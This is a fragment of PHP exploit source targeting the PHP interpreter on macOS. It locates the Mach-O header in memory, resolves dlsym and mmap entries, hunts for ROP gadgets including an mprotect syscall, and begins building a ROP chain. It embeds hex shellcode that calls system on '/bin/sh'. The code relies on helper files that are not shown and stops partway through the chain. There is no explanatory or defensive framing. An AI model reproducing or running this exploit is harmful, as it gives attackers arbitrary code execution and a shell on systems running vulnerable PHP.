function findmhfromaddr($a) { $a = $a & ~0xff; for ($i = 0; $i < 0x1000000; $i++) { if (r32($a) == 0xfeedfacf) { return $a; } $a -= 0x100; } return FALSE; }
require "pm.php"; require "pm_rop_osx.php"; function w64($x) { return ibuf($x, 8); } $all = alloc(4096); $shellcode = hex2bin("415F4989E665488B0425080000004883C068488B204881EC08000100488D3D410000004883E4F0E82A000000488D3D3D0000004883E4F0FFD0488D3D2B0000004883E4F0E80D00000048C7C700000000FFD04C89F4C34889FE4831FF4883EF0241FFD7C373797374656D0065786974002F62696E2F736800"); $addr = rop_findexec(); nogc($addr); $dlsym = getplt($addr, "_dlsym"); // get plt entry nogc($dlsym); $mmap_plt = getplt($addr, "_mmap"); // get plt entry $mmap = r64(r32($mmap_plt + 2) + $mmap_plt + 6); nogc($mmap); $mprotect = gadget(findmhfromaddr($mmap), "b84a000002"); // find b84a000002 movl $0x200004a, %eax -> mprotect syscall nogc($mprotect); function ig($a, $b) { return ibuf(gadget($a, $b), 8); } $arg1 = ig($addr, "5fc3"); $arg2 = ig($addr, "5ec3"); $arg3 = ig(findmhfromaddr($mmap), "5ac3"); $stack = $arg1; $stack .= w64($all['ptr'] & ~0xfff); $stack .= $arg2; $stack .= w64(4096 * 2);